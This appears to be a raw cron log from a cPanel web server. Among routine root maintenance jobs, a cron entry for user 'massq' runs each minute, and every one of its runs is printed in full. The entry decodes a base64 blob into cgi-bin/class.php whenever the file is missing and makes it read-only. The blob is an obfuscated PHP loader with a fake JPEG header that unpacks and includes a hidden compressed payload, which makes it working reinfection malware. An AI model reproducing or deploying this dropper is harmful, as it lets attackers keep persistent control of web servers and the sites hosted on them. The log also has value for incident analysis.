Aug 31 16:38:01 server CROND[15765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:38:01 server CROND[15766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:38:01 server CROND[15767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:39:01 server CROND[16161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:39:01 server CROND[16163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:39:01 server CROND[16162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:39:01 server CROND[16164]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 16:40:01 server CROND[16562]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:40:01 server CROND[16564]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:40:01 server CROND[16565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:40:01 server CROND[16567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:40:01 server CROND[16566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:40:01 server CROND[16571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:40:01 server CROND[16568]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:40:01 server CROND[16569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:41:01 server CROND[17474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:41:01 server CROND[17476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:41:01 server CROND[17475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:42:01 server CROND[17892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:42:01 server CROND[17894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:42:01 server CROND[17893]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:42:01 server CROND[17895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:43:01 server CROND[18286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:43:01 server CROND[18287]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:43:01 server CROND[18288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:44:01 server CROND[18679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:44:01 server CROND[18680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:44:01 server CROND[18681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:45:01 server CROND[19070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:45:01 server CROND[19071]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:45:01 server CROND[19074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:45:01 server CROND[19076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:45:01 server CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:45:01 server CROND[19075]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:45:01 server CROND[19078]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 16:46:01 server CROND[19896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:46:01 server CROND[19897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:46:01 server CROND[19898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:47:01 server CROND[20353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:47:01 server CROND[20354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:47:01 server CROND[20355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:48:01 server CROND[20724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:48:01 server CROND[20725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:48:01 server CROND[20726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:49:01 server CROND[21104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:49:01 server CROND[21103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 16:49:01 server CROND[21105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:50:01 server CROND[21499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:50:01 server CROND[21501]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 16:50:01 server CROND[21504]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
